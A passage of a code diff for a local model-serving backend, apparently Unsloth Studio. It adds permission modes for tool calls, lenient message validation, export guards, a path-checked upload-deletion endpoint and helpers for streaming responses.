         description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output.",
     )
+    nudge_tool_calls: Optional[bool] = Field(
+        None,
+        description = (
+            "[x-unsloth] Opt-in, non-streaming client-tool passthrough only: when the "
+            "model emitted a tool signal that healing could not repair, retry ONCE with "
+            "a short nudge appended (the retry shares the full prompt prefix, so the "
+            "server's KV cache is reused). Default off; UNSLOTH_TOOL_CALL_NUDGE=1 flips "
+            "the process default."
+        ),
+    )
     context_overflow: Optional[Literal["error", "truncate_middle"]] = Field(
         None,
         description = (
@@ -804,6 +908,10 @@ class ChatCompletionRequest(BaseModel):
         None,
         description = "[x-unsloth] Session/thread ID for scoping tool execution sandbox.",
     )
+    thread_id: Optional[str] = Field(
+        None,
+        description = "[x-unsloth] Conversation ID for scoping stateful tool sessions (e.g. stdio MCP); stays per-thread where session_id may be shared project-wide.",
+    )
     rag_scope: Optional[dict] = Field(
         None,
         description = (
@@ -1025,6 +1133,52 @@ class ChatCompletionRequest(BaseModel):
             self.enable_thinking = self.thinking.type == "enabled"
         return self
 
+    @field_validator("permission_mode", mode = "before")
+    @classmethod
+    def _coerce_permission_mode(cls, value: Any) -> Any:
+        # Accept any string so an unknown mode degrades to 'ask' instead of a
+        # 422; mirrors the tool loops' unknown -> ask fallback.
+        return _normalize_permission_mode(value)
+
+    @model_validator(mode = "after")
+    def _fold_full_permission_into_bypass(self) -> "ChatCompletionRequest":
+        """permission_mode='full' is the documented equivalent of
+        bypass_permissions=true, so fold it in before any route guard reads
+        the flag (else a full request would trip the confirm-gate rejections)."""
+        if self.permission_mode == "full":
+            self.bypass_permissions = True
+        elif self.bypass_permissions:
+            # Legacy bypass callers map onto Full access (mirrors the tool loop).
+            self.permission_mode = "full"
+        elif self.permission_mode == "off":
+            # "Off" never prompts, so route guards must see confirm disabled.
+            self.confirm_tool_calls = False
+        elif (
+            self.permission_mode == "ask"
+            and self.confirm_tool_calls is None
+            and not (self.provider_id or self.provider_type)
+            and (self.enable_tools is True or bool(self.mcp_enabled))
+        ):
+            # "Ask" gates every call, so a direct API caller that omits the legacy
+            # confirm flag must still hit the confirmation gate for Studio's own
+            # tool loop. An explicit confirm_tool_calls=False wins over the mode
+            # (mirrors _permission_mode_confirm and the Anthropic pre-switch guard),
+            # so only self-enable when the flag is unset. Only self-enable when that
+            # loop is actually requested
+            # (enable_tools / mcp_enabled) -- the router enters the loop on those
+            # signals, not on enabled_tools alone (which merely filters which tools
+            # run). A plain client-tool passthrough (client-supplied `tools` that
+            # Studio does not execute) must route verbatim, and external-provider
+            # routing rejects confirm_tool_calls with tools, so skip the fold there.
+            #
+            # "auto" is deliberately NOT folded: it only prompts for a call the
+            # classifier flags, so leaving confirm_tool_calls unset lets the route's
+            # _confirm_gate_needs_stream apply the safe-only exception (a safe-only
+            # auto selection needs no stream) instead of an explicit-confirm forcing
+            # stream=true. The mode still drives the loop's per-call gate.
+            self.confirm_tool_calls = True
+        return self
+
 
 class ToolConfirmRequest(BaseModel):
     session_id: Optional[str] = None
@@ -1136,7 +1290,8 @@ class CompletionMessage(BaseModel):
     """The assistant's complete response message."""
 
     role: Literal["assistant"] = "assistant"
-    content: str
+    # ``None`` on a pure tool-call turn (OpenAI content=null); string otherwise.
+    content: Optional[str] = None
     refusal: Optional[str] = None
     reasoning_content: Optional[str] = None
     tool_calls: Optional[list[dict]] = None
@@ -1521,12 +1676,41 @@ class AnthropicToolResultBlock(BaseModel):
     tool_use_id: str
     content: Union[str, list] = ""
 
+    @field_validator("content", mode = "before")
+    @classmethod
+    def _coerce_null_content(cls, v):
+        # Some clients send null content for an empty tool result; the str|list
+        # union would 400 on it, so treat null as "".
+        return "" if v is None else v
+
+
+# Block types the converter translates explicitly. Anything else (thinking /
+# redacted_thinking, a provider block a resumed session replays, or a future type)
+# is accepted as an unknown block and dropped by the converter, rather than 400-ing
+# the whole request on strict validation.
+_KNOWN_ANTHROPIC_BLOCK_TYPES = frozenset({"text", "image", "tool_use", "tool_result"})
+
+
+class AnthropicUnknownBlock(BaseModel):
+    type: str
+    model_config = {"extra": "allow"}
+
+    @field_validator("type")
+    @classmethod
+    def _only_unknown_types(cls, v):
+        # Known types parse as their typed models above (so a malformed known block
+        # still fails cleanly); this fallback only catches the rest.
+        if v in _KNOWN_ANTHROPIC_BLOCK_TYPES:
+            raise ValueError("known block type handled by its typed model")
+        return v
+
 
 AnthropicContentBlock = Union[
     AnthropicTextBlock,
     AnthropicImageBlock,
     AnthropicToolUseBlock,
     AnthropicToolResultBlock,
+    AnthropicUnknownBlock,
 ]
 
 
@@ -1571,6 +1755,40 @@ class AnthropicMessage(BaseModel):
     role: Literal["user", "assistant"]
     content: Union[str, list[AnthropicContentBlock]]
 
+    @model_validator(mode = "before")
+    @classmethod
+    def _normalize_content(cls, data):
+        # Role-aware leniency that never silently drops real user input:
+        #  - assistant: a resumed tool-only turn's null content -> "" (str|list would
+        #    400 on null; "" keeps the converter's `for block in content` safe).
+        #    Unknown blocks (thinking / future types) validate via
+        #    AnthropicUnknownBlock and are dropped by the converter.
+        #  - user: keep strict. Null user content stays None so str|list rejects it
+        #    (400) rather than forwarding an empty prompt; and reject block types the
+        #    converter cannot translate, since it silently skips unknown user blocks
+        #    -- a user turn made only of them would validate yet send no content
+        #    (silent data loss).
+        if not isinstance(data, dict):
+            return data
+        content = data.get("content")
+        if data.get("role") == "assistant":
+            # Coerce only an explicit null (resumed tool-only turn). A missing
+            # content key stays malformed so the required-field check still 400s.
+            if "content" in data and content is None:
+                return {**data, "content": ""}
+            return data
+        if isinstance(content, list):
+            for block in content:
+                btype = (
+                    block.get("type") if isinstance(block, dict) else getattr(block, "type", None)
+                )
+                # Guard the value: a non-string type is unsupported too, and a
+                # membership test on an unhashable value would raise TypeError
+                # (escaping as a 500 instead of a clean 400).
+                if not isinstance(btype, str) or btype not in _KNOWN_ANTHROPIC_BLOCK_TYPES:
+                    raise ValueError(f"unsupported content block type {btype!r} in a user message")
+        return data
+
 
 class AnthropicTool(BaseModel):
     # Client tools have input_schema; server tools may only have type/name.
@@ -1607,11 +1825,27 @@ class AnthropicMessagesRequest(BaseModel):
     enable_tools: Optional[bool] = None
     enabled_tools: Optional[list[str]] = None
     session_id: Optional[str] = None
+    thread_id: Optional[str] = Field(
+        None,
+        description = "[x-unsloth] Conversation ID for scoping stateful tool sessions (e.g. stdio MCP); stays per-thread where session_id may be shared project-wide.",
+    )
     cancel_id: Optional[str] = None
     bypass_permissions: Optional[bool] = Field(
         False,
         description = "[x-unsloth] Bypass Permissions: when true, disable the python/terminal execution sandbox (safety checks, command blocklist, resource limits) for server-side tool calls. Secret env vars are still stripped. Declared explicitly (not relied on via extra='allow') so omitted requests default to False instead of raising AttributeError.",
     )
+    permission_mode: Optional[str] = Field(
+        None,
+        description = "[x-unsloth] Permission level for local tool calls: 'ask' pauses every call, 'auto' only pauses calls detected as potentially unsafe, 'off' never pauses (sandbox stays on), 'full' equals bypass_permissions=true. Unset behaves as 'ask'; an unrecognized value (e.g. from a newer client) is treated as 'ask'. Declared explicitly so omitted requests default to None instead of raising AttributeError.",
+    )
+    auto_heal_tool_calls: Optional[bool] = Field(
+        True,
+        description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output (mirrors the Chat Completions field; applies to the client-tool passthrough).",
+    )
+    nudge_tool_calls: Optional[bool] = Field(
+        None,
+        description = "[x-unsloth] Opt-in, non-streaming only: retry once with a nudge when the model emitted a tool signal healing could not repair (mirrors the Chat Completions field).",
+    )
     model_config = {"extra": "allow"}
 
     @model_validator(mode = "before")
@@ -1645,6 +1879,27 @@ class AnthropicMessagesRequest(BaseModel):
         normalized["system"] = _merge_anthropic_system(normalized.get("system"), system_additions)
         return normalized
 
+    @field_validator("permission_mode", mode = "before")
+    @classmethod
+    def _coerce_permission_mode(cls, value: Any) -> Any:
+        # Accept any string so an unknown mode degrades to 'ask' instead of a
+        # 422; mirrors the tool loops' unknown -> ask fallback.
+        return _normalize_permission_mode(value)
+
+    @model_validator(mode = "after")
+    def _fold_full_permission_into_bypass(self) -> "AnthropicMessagesRequest":
+        """permission_mode='full' equals bypass_permissions=true (mirrors the
+        Chat Completions request)."""
+        if self.permission_mode == "full":
+            self.bypass_permissions = True
+        elif self.bypass_permissions:
+            # Legacy bypass callers map onto Full access (mirrors the tool loop).
+            self.permission_mode = "full"
+        elif self.permission_mode == "off":
+            # "Off" never prompts, so route guards must see confirm disabled.
+            self.confirm_tool_calls = False
+        return self
+
 
 # ── Response models ────────────────────────────────────────────
 
diff --git a/studio/backend/requirements/single-env/overrides-darwin-arm64.txt b/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
index 56b948644f..43f37b3183 100644
--- a/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
+++ b/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
@@ -10,3 +10,9 @@ transformers>=4.57.6
 # anyio that also ImportErrors on TaskHandle and 500s the server. An override
 # wins the fight, so force one consistent <4.14 here too.
 anyio<4.14.0
+
+# mlx-lm 0.31.3 regressed QK-norm archs (gemma4 / qwen3_5): strict load_weights
+# rejects q_norm/k_norm, so those checkpoints fail to load. mlx-lm #1242.
+# The override also drops it from transitive resolution; keep the >=0.22.0 floor
+# (mirrors mlx_repair.py _MLX_MIN_VERSIONS) or the resolver could go below it.
+mlx-lm>=0.22.0,!=0.31.3
diff --git a/studio/backend/routes/auth.py b/studio/backend/routes/auth.py
index 92ecdbfb5b..c61c1a16e4 100644
--- a/studio/backend/routes/auth.py
+++ b/studio/backend/routes/auth.py
@@ -500,8 +500,9 @@ async def change_password(
             detail = "New password must be different from the current password",
         )
 
-    storage.update_password(current_subject, payload.new_password)
-    storage.revoke_user_refresh_tokens(current_subject)
+    # Single transaction: a separate refresh-token purge could fail after the
+    # password commit, leaving pre-change tokens able to mint access tokens.
+    storage.update_password(current_subject, payload.new_password, revoke_refresh_tokens = True)
     try:
         request.app.state.bootstrap_password = None
     except AttributeError:
diff --git a/studio/backend/routes/chat_history.py b/studio/backend/routes/chat_history.py
index 2c87ce8c6e..7a27a58a52 100644
--- a/studio/backend/routes/chat_history.py
+++ b/studio/backend/routes/chat_history.py
@@ -56,6 +56,7 @@ class ChatThread(BaseModel):
     projectId: Optional[str] = None
     archived: bool = False
     createdAt: int
+    updatedAt: Optional[int] = None
     openaiCodeExecContainerId: Optional[str] = None
     anthropicCodeExecContainerId: Optional[str] = None
     forkedFromThreadId: Optional[str] = None
@@ -70,6 +71,7 @@ class ChatThreadPatch(BaseModel):
     projectId: Optional[str] = None
     archived: Optional[bool] = None
     createdAt: Optional[int] = None
+    updatedAt: Optional[int] = None
     openaiCodeExecContainerId: Optional[str] = None
     anthropicCodeExecContainerId: Optional[str] = None
 
@@ -177,6 +179,7 @@ class ChatSettingsPayload(BaseModel):
     collapseHtmlArtifacts: Optional[bool] = None
     allowArtifactNetworkAccess: Optional[bool] = None
     autoHealToolCalls: Optional[bool] = None
+    nudgeToolCalls: Optional[bool] = None
     maxToolCallsPerMessage: Optional[int] = Field(default = None, ge = 1)
     toolCallTimeout: Optional[int] = Field(default = None, ge = 1)
 
@@ -251,7 +254,7 @@ async def patch_thread(
     current_subject: str = Depends(get_current_subject),
 ):
     patch = payload.model_dump(exclude_unset = True)
-    for field in ("title", "modelType", "modelId", "archived", "createdAt"):
+    for field in ("title", "modelType", "modelId", "archived", "createdAt", "updatedAt"):
         if field in patch and patch[field] is None:
             raise HTTPException(status_code = 400, detail = f"{field} cannot be null")
     if patch.get("projectId") and get_chat_project(patch["projectId"]) is None:
diff --git a/studio/backend/routes/data_recipe/seed.py b/studio/backend/routes/data_recipe/seed.py
index 57a291291e..a5b75b7335 100644
--- a/studio/backend/routes/data_recipe/seed.py
+++ b/studio/backend/routes/data_recipe/seed.py
@@ -10,6 +10,7 @@ import binascii
 import json
 import os
 import re
+import shutil
 from itertools import islice
 from pathlib import Path
 from typing import Any
@@ -59,6 +60,9 @@ UNSTRUCTURED_ALLOWED_EXTS = {".pdf", ".docx", ".txt", ".md"}
 SEED_UPLOAD_DIR = seed_uploads_root()
 UNSTRUCTURED_UPLOAD_ROOT = unstructured_uploads_root()
 _SAFE_ID_RE = re.compile(r"^[a-zA-Z0-9_-]+$")
+# Frontend-generated upload namespace (UUID4 hex). Legacy node ids (n1, ...)
+# never match: those directories can be shared by several recipes.
+_UPLOAD_UID_RE = re.compile(r"^[0-9a-f]{32}$")
 
 
 def _validate_safe_id(value: str, label: str) -> str:
@@ -580,6 +584,39 @@ async def remove_unstructured_file(block_id: str, file_id: str):
     return {"status": "ok"}
 
 
+@router.delete("/seed/unstructured-block/{block_id}")
+async def remove_unstructured_block(block_id: str):
+    """Delete a block's upload directory; files on disk still count toward its quota.
+
+    Only uid-namespaced directories may be bulk-deleted: they have exactly one
+    owning block. Legacy node-id directories (n1, ...) can be shared by other
+    recipes, so they are managed file-by-file instead.
+    """
+    _validate_safe_id(block_id, "block_id")
+    if not _UPLOAD_UID_RE.match(block_id):
+        raise HTTPException(400, "Invalid block_id: only uid-namespaced blocks can be deleted")
+
+    block_dir = (UNSTRUCTURED_UPLOAD_ROOT / block_id).resolve()
+    if not block_dir.is_relative_to(UNSTRUCTURED_UPLOAD_ROOT.resolve()):
+        raise HTTPException(400, "Invalid block_id: outside upload root")
+    if not block_dir.exists():
+        return {"status": "ok", "deleted": False}
+
+    try:
+        shutil.rmtree(block_dir)
+    except OSError as exc:
+        raise log_and_http_error(
+            exc,
+            500,
+            "failed to delete uploaded files",
+            event = "data_recipe.seed.unstructured_block_delete_failed",
+            log = logger,
+        ) from exc
+    if block_dir.exists():
+        raise HTTPException(500, "failed to delete uploaded files")
+    return {"status": "ok", "deleted": True}
+
+
 @router.post("/seed/inspect-upload", response_model = SeedInspectResponse)
 def inspect_seed_upload(payload: SeedInspectUploadRequest) -> SeedInspectResponse:
     if payload.file_ids is not None:
diff --git a/studio/backend/routes/export.py b/studio/backend/routes/export.py
index cf2cb2fa70..d44e2ac021 100644
--- a/studio/backend/routes/export.py
+++ b/studio/backend/routes/export.py
@@ -46,6 +46,33 @@ router = APIRouter()
 logger = get_logger(__name__)
 
 
+def _ensure_export_supported() -> None:
+    """Reject a mutating export request up front (HTTP 400) when the host can't export.
+
+    Keeps the backend authoritative even if a client bypasses the UI gate. Read-only endpoints
+    (scan/status/logs) are intentionally NOT gated so the Export page can still render the reason.
+    Also refuses (409) while a latest-transformers install is swapping .venv_t5_latest: an
+    export worker spawned mid-swap could activate a half-replaced sidecar.
+    """
+    from utils.transformers_latest import is_install_in_progress
+
+    if is_install_in_progress():
+        raise HTTPException(
+            status_code = 409,
+            detail = "A transformers installation is in progress. Retry when it completes.",
+        )
+
+    from utils.hardware import export_capability
+
+    cap = export_capability()
+    if not cap.get("export_supported", True):
+        raise HTTPException(
+            status_code = 400,
+            detail = cap.get("export_unsupported_message")
+            or "Export is not supported on this platform.",
+        )
+
+
 @router.post("/load-checkpoint", response_model = ExportOperationResponse)
 async def load_checkpoint(
     request: LoadCheckpointRequest, current_subject: str = Depends(get_current_subject)
@@ -58,6 +85,7 @@ async def load_checkpoint(
     a clear error instead of tearing down the user's other running workloads.
     """
     try:
+        _ensure_export_supported()
         backend = get_export_backend()
         # Run in a worker thread (spawns and waits on a subprocess, can take
         # minutes) so the event loop stays free to serve the live log SSE stream.
@@ -79,6 +107,11 @@ async def load_checkpoint(
     except HTTPException:
         raise
     except Exception as e:
+        from utils.transformers_version import SidecarSwapInProgress
+
+        if isinstance(e, SidecarSwapInProgress):
+            # Expected loss of the race against a sidecar install: retryable 409.
+            raise HTTPException(status_code = 409, detail = str(e))
         logger.error(f"Error loading checkpoint: {e}", exc_info = True)
         raise HTTPException(
             status_code = 500,
@@ -266,6 +299,7 @@ async def export_merged_model(
     Wraps ExportBackend.export_merged_model.
     """
     try:
+        _ensure_export_supported()
         backend = get_export_backend()
         success, message, output_path = await asyncio.to_thread(
             backend.export_merged_model,
@@ -275,6 +309,7 @@ async def export_merged_model(
             repo_id = request.repo_id,
             hf_token = request.hf_token,
             private = request.private,
+            compressed_method = request.compressed_method,
         )
 
         if not success:
@@ -288,6 +323,11 @@ async def export_merged_model(
     except HTTPException:
         raise
     except Exception as e:
+        from utils.transformers_version import SidecarSwapInProgress
+
+        if isinstance(e, SidecarSwapInProgress):
+            # Expected loss of the race against a sidecar install: retryable 409.
+            raise HTTPException(status_code = 409, detail = str(e))
         logger.error(f"Error exporting merged model: {e}", exc_info = True)
         raise HTTPException(
             status_code = 500,
@@ -304,6 +344,7 @@ async def export_base_model(
     Wraps ExportBackend.export_base_model.
     """
     try:
+        _ensure_export_supported()
         backend = get_export_backend()
         success, message, output_path = await asyncio.to_thread(
             backend.export_base_model,
@@ -326,6 +367,11 @@ async def export_base_model(
     except HTTPException:
         raise
     except Exception as e:
+        from utils.transformers_version import SidecarSwapInProgress
+
+        if isinstance(e, SidecarSwapInProgress):
+            # Expected loss of the race against a sidecar install: retryable 409.
+            raise HTTPException(status_code = 409, detail = str(e))
         logger.error(f"Error exporting base model: {e}", exc_info = True)
         raise HTTPException(
             status_code = 500,
@@ -342,6 +388,7 @@ async def export_gguf(
     Wraps ExportBackend.export_gguf.
     """
     try:
+        _ensure_export_supported()
         backend = get_export_backend()
         # A custom path wins; otherwise the imatrix toggle requests the upstream auto-download.
         imatrix_file = request.imatrix_path or (True if request.imatrix else None)
@@ -366,6 +413,11 @@ async def export_gguf(
     except HTTPException:
         raise
     except Exception as e:
+        from utils.transformers_version import SidecarSwapInProgress
+
+        if isinstance(e, SidecarSwapInProgress):
+            # Expected loss of the race against a sidecar install: retryable 409.
+            raise HTTPException(status_code = 409, detail = str(e))
         logger.error(f"Error exporting GGUF model: {e}", exc_info = True)
         raise HTTPException(
             status_code = 500,
@@ -382,6 +434,7 @@ async def export_lora_adapter(
     Wraps ExportBackend.export_lora_adapter.
     """
     try:
+        _ensure_export_supported()
         backend = get_export_backend()
         success, message, output_path = await asyncio.to_thread(
             backend.export_lora_adapter,
@@ -390,6 +443,8 @@ async def export_lora_adapter(
             repo_id = request.repo_id,
             hf_token = request.hf_token,
             private = request.private,
+            gguf = request.gguf,
+            gguf_outtype = request.gguf_outtype,
         )
 
         if not success:
@@ -403,6 +458,11 @@ async def export_lora_adapter(
     except HTTPException:
         raise
     except Exception as e:
+        from utils.transformers_version import SidecarSwapInProgress
+
+        if isinstance(e, SidecarSwapInProgress):
+            # Expected loss of the race against a sidecar install: retryable 409.
+            raise HTTPException(status_code = 409, detail = str(e))
         logger.error(f"Error exporting LoRA adapter: {e}", exc_info = True)
         raise HTTPException(
             status_code = 500,
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 9d9db83543..52ea1f86a3 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -13,13 +13,14 @@ from pathlib import Path
 from fastapi import APIRouter, Depends, HTTPException, Request, status
 from fastapi.responses import StreamingResponse, JSONResponse, Response
 from starlette.requests import ClientDisconnect
-from typing import Any, List, Optional, Union
+from typing import Any, Callable, List, Optional, Union
 import json
 import httpx
 from loggers import get_logger
 import asyncio
 import threading
 import weakref
+from contextlib import ExitStack
 
 
 import re as _re
@@ -28,6 +29,17 @@ import re as _re
 from utils.models import extract_model_size_b as _extract_model_size_b
 
 from utils.api_errors import openai_error_body, anthropic_error_body
+from core.inference.orchestrator import GenStreamError, GenStreamErrorRaised
+from core.inference.llama_admission import (
+    LlamaAdmissionCancelled,
+    LlamaAdmissionConfig,
+    LlamaAdmissionLease,
+    LlamaAdmissionQueueFull,
+    LlamaAdmissionReservation,
+    LlamaAdmissionTimeout,
+    get_llama_admission_queue,
+    llama_admission_config_from_env,
+)
 
 
 def _positive_int_or_none(value: Any) -> Optional[int]:
@@ -40,6 +52,43 @@ def _positive_int_or_none(value: Any) -> Optional[int]:
     return value_int if value_int > 0 else None
 
 
+def _nonnegative_int_or_none(value: Any) -> Optional[int]:
+    if isinstance(value, bool):
+        return None
+    try:
+        value_int = int(value)
+    except (TypeError, ValueError):
+        return None
+    return value_int if value_int >= 0 else None
+
+
+_MLX_MPI_DISTRIBUTED_ENV_PAIRS = (
+    ("OMPI_COMM_WORLD_RANK", "OMPI_COMM_WORLD_SIZE"),
+    ("PMI_RANK", "PMI_SIZE"),
+    ("PMIX_RANK", "PMIX_SIZE"),
+    ("MPI_RANK", "MPI_WORLD_SIZE"),
+    ("MV2_COMM_WORLD_RANK", "MV2_COMM_WORLD_SIZE"),
+)
+
+
+def _mlx_distributed_launch_detected() -> bool:
+    if _nonnegative_int_or_none(os.environ.get("MLX_RANK")) is not None:
+        world_size = _positive_int_or_none(os.environ.get("MLX_WORLD_SIZE"))
+        if world_size is not None and world_size > 1:
+            return True
+        return bool(
+            os.environ.get("MLX_HOSTFILE")
+            or os.environ.get("MLX_IBV_DEVICES")
+            or os.environ.get("MLX_JACCL_COORDINATOR")
+            or (os.environ.get("NCCL_HOST_IP") and os.environ.get("NCCL_PORT"))
+        )
+    return any(
+        _nonnegative_int_or_none(os.environ.get(rank_env)) is not None
+        and (_positive_int_or_none(os.environ.get(size_env)) or 0) > 1
+        for rank_env, size_env in _MLX_MPI_DISTRIBUTED_ENV_PAIRS
+    )
+
+
 def _install_httpcore_asyncgen_silencer() -> None:
     """Silence benign httpx/httpcore asyncgen GC noise on Python 3.13.
 
@@ -165,6 +214,34 @@ def _friendly_error(exc: Exception) -> str:
     return "An internal error occurred"
 
 
+def _friendly_gen_stream_error(value) -> str:
+    """Return a client-safe message for typed local generation errors."""
+    text = str(value)
+    if getattr(value, "public", False):
+        return text
+    return safe_error_detail(RuntimeError(text), fallback = "An internal error occurred.")
+
+
+def _friendly_upstream_error(text: str) -> str:
+    """Rewrite a raw llama-server error body into an actionable message where we can.
+
+    The main case is a tool-calling grammar that llama-server can't compile ("failed to
+    parse grammar" / "failed to initialize samplers"). This surfaces to coding agents as
+    a hard 400 on every tool-bearing turn. It is a llama-server limitation with some
+    model/quant + tool-schema combinations, and recent llama.cpp builds handle the common
+    coding-agent tools, so point the user at updating Studio rather than the raw body.
+    """
+    lowered = text.lower()
+    if "failed to parse grammar" in lowered or "failed to initialize samplers" in lowered:
+        return (
+            "The model couldn't compile a tool-calling grammar for this request. This is a "
+            "llama-server limitation with some model/quant and tool-schema combinations. "
+            "Update Studio (it installs the latest llama.cpp, which handles the common "
+            "coding-agent tools) or try a different GGUF model."
+        )
+    return f"llama-server error: {text}"
+
+
 def _clamp_finish_reason(value) -> str:
     """Coerce an upstream finish_reason into OpenAI's known chat values.
 
@@ -211,10 +288,87 @@ def _effective_max_tokens(payload):
     )
 
 
+_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV = "UNSLOTH_OPENAI_COMPAT_STREAM_STALL_TIMEOUT"
+
+
+def _positive_float_env(env_name: str, default):
+    """Parse a positive float from an env var. A parseable non-positive value
+    returns ``None`` (0 disables the guarded feature); only unparseable or unset
+    values fall back to ``default``."""
+    raw_value = os.environ.get(env_name)
+    if raw_value is None or not raw_value.strip():
+        return default
+    try:
+        value = float(raw_value.strip())
+    except ValueError:
+        return default
+    return value if value > 0 else None
+
+
+def _effective_openai_max_tokens_from_values(max_tokens, max_completion_tokens = None):
+    """Resolve the OpenAI-compatible generation cap from raw request values.
+
+    Prefers ``max_completion_tokens`` over the deprecated ``max_tokens``, and
+    returns ``None`` when both are omitted so callers keep their context-window
+    default (OpenAI treats an omitted cap as bounded only by the context
+    window). Explicit client caps pass through unchanged.
+    """
+
+    def _validate_explicit(value, param: str):
+        if value is None:
+            return None
+        if isinstance(value, bool) or not isinstance(value, int):
+            raise HTTPException(
+                status_code = 400,
+                detail = openai_error_body(
+                    f"'{param}' must be an integer.",
+                    status = 400,
+                    code = "invalid_type",
+                    param = param,
+                ),
+            )
+        # The legacy completions spec declares ``minimum: 0`` for max_tokens,
+        # so 0 is a valid (if degenerate) cap and only negatives are rejected.
+        # The chat fields never reach here with 0 (pydantic enforces ge=1).
+        if value < 0:
+            raise HTTPException(
+                status_code = 400,
+                detail = openai_error_body(
+                    f"'{param}' must be at least 0.",
+                    status = 400,
+                    code = "invalid_value",
+                    param = param,
+                ),
+            )
+        return value
+
+    max_tokens = _validate_explicit(max_tokens, "max_tokens")
+    max_completion_tokens = _validate_explicit(max_completion_tokens, "max_completion_tokens")
+    return max_completion_tokens if max_completion_tokens is not None else max_tokens
+
+
+def _effective_openai_max_tokens(payload):
+    return _effective_openai_max_tokens_from_values(
+        getattr(payload, "max_tokens", None),
+        getattr(payload, "max_completion_tokens", None),
+    )
+
+
 def _wants_multiple_choices(payload) -> bool:
     return (payload.n or 1) > 1
 
 
+def _has_openai_tool_history(messages) -> bool:
+    for message in messages or []:
+        if isinstance(message, dict):
+            if message.get("role") == "tool" or message.get("tool_calls"):
+                return True
+            continue
+        if getattr(message, "role", None) == "tool" or getattr(message, "tool_calls", None):
+            return True
+    return False
+
+
 def _raise_unsupported_openai_parameter(param: str, message: str) -> None:
     raise HTTPException(
         status_code = 400,
@@ -274,12 +428,20 @@ def _openai_stream_error_chunk(exc) -> dict:
     return openai_error_body(_friendly_error(exc), status = 500)
 
 
+def _openai_stream_error_sse(error: dict) -> str:
+    return f"data: {json.dumps(error)}\n\ndata: [DONE]\n\n"
+
+
+def _openai_stream_error_sse_bytes(error: dict) -> bytes:
+    return _openai_stream_error_sse(error).encode("utf-8")
+
+
 def _openai_passthrough_error(status_code, text) -> "HTTPException":
     """HTTPException for a non-200 upstream response on the OpenAI passthrough
     (tools / response_format). An over-context upstream error is mapped to a 400
     with code="context_length_exceeded" so these paths deliver the same signal as
-    the non-passthrough path; any other upstream error keeps llama-server's
-    message verbatim."""
+    the non-passthrough path; a tool-grammar compile failure gets the same actionable
+    guidance as the Anthropic passthrough; any other upstream error stays verbatim."""
     if _classify_llama_generation_error(Exception(text)):
         return HTTPException(
             status_code = 400,
@@ -292,7 +454,7 @@ def _openai_passthrough_error(status_code, text) -> "HTTPException":
         )
     return HTTPException(
         status_code = status_code,
-        detail = f"llama-server error: {text[:500]}",
+        detail = _friendly_upstream_error(text[:500]),
     )
 
 
@@ -488,20 +650,62 @@ def _drop_parallel_tool_call_deltas(chunk) -> bool:
     return changed
 
 
-def _cap_parallel_tool_calls_sse_line(raw_line: str) -> str:
-    """Drop tool_call deltas whose index >= 1 from one streamed OpenAI SSE
-    ``data:`` line so only the first tool call survives (parallel_tool_calls=false,
-    best-effort). Non-tool / unparseable payloads are returned byte-for-byte."""
-    payload = raw_line[len("data: ") :]
+def _add_empty_content_to_reasoning_deltas(chunk: dict) -> bool:
+    """Make reasoning-only deltas palatable to strict OpenAI adapters.
+
+    Some clients built on OpenAI-compatible streams ignore or reject chunks whose
+    delta only contains non-standard ``reasoning_content``. Preserve that field,
+    but add an empty standard ``content`` member so the chunk is still a valid
+    text-delta shape and downstream parsers keep the stream alive.
+    """
+    changed = False
+    choices = chunk.get("choices")
+    if not isinstance(choices, list):
+        return False
+    for choice in choices:
+        if not isinstance(choice, dict):
+            continue
+        delta = choice.get("delta")
+        if not isinstance(delta, dict):
+            continue
+        if "reasoning_content" in delta and "content" not in delta:
+            delta["content"] = ""
+            changed = True
+    return changed
+
+
+def _normalize_openai_passthrough_sse_line(
+    raw_line: str, *, cap_parallel_tool_calls: bool = False
+) -> str:
+    """Normalize one passthrough OpenAI SSE ``data:`` line before relaying.
+
+    The function is intentionally narrow: it leaves comments, blank events,
+    ``[DONE]``, and unparseable upstream bytes untouched; parsed chunks are
+    re-serialized only when a compatibility mutation is actually required.
+    """
+    if not raw_line.startswith("data:"):
+        return raw_line
+    # Both mutations key off JSON object keys, so a line without either quoted
+    # key can never change; skip the parse on the per-token common case.
+    if '"reasoning_content"' not in raw_line and not (
+        cap_parallel_tool_calls and '"tool_calls"' in raw_line
+    ):
+        return raw_line
+    payload = raw_line[len("data:") :].lstrip()
     if payload.strip() in ("", "[DONE]"):
         return raw_line
     try:
         obj = json.loads(payload)
     except Exception:
         return raw_line
-    if not _drop_parallel_tool_call_deltas(obj):
+    if not isinstance(obj, dict):
         return raw_line
-    return "data: " + json.dumps(obj, separators = (",", ":"))
+    changed = _add_empty_content_to_reasoning_deltas(obj)
+    if cap_parallel_tool_calls and _drop_parallel_tool_call_deltas(obj):
+        changed = True
+    if not changed:
+        return raw_line
+    return "data: " + json.dumps(obj, separators = (",", ":"), ensure_ascii = False)
 
 
 def _prompt_tokens_details(upstream):
@@ -518,6 +722,49 @@ def _wants_stream_usage(payload) -> bool:
     return bool((payload.stream_options or {}).get("include_usage"))
 
 
+_OPENAI_PASSTHROUGH_TERMINAL_GRACE_S = 2.0
+_SSE_DONE_LINE = "data: [DONE]"
+
+
+def _openai_passthrough_sse_line_terminal_state(raw_line: str) -> Optional[str]:
+    """Classify OpenAI-compatible chat stream terminal markers.
+
+    Some llama-server builds can emit the logical final chunk (``finish_reason``)
+    and optional usage chunk, then keep the HTTP stream open without sending the
+    OpenAI ``data: [DONE]`` sentinel. Classifying those chunks lets Studio close
+    the client stream promptly while preserving an optional trailing usage chunk.
+    """
+    if not raw_line.startswith("data:"):
+        return None
+    data_str = raw_line[5:].lstrip()
+    if data_str == "[DONE]":
+        return "done"
+    try:
+        data = json.loads(data_str)
+    except json.JSONDecodeError:
+        return None
+    return _openai_passthrough_terminal_state_from_data(data)
+
+
+def _openai_passthrough_terminal_state_from_data(data) -> Optional[str]:
+    """Dict-level core of ``_openai_passthrough_sse_line_terminal_state`` for
+    callers that already parsed the chunk (avoids a re-parse per relayed line)."""
+    if not isinstance(data, dict):
+        return None
+    if _monitor_openai_error_message(data):
+        return "error"
+    choices = data.get("choices")
+    if isinstance(choices, list):
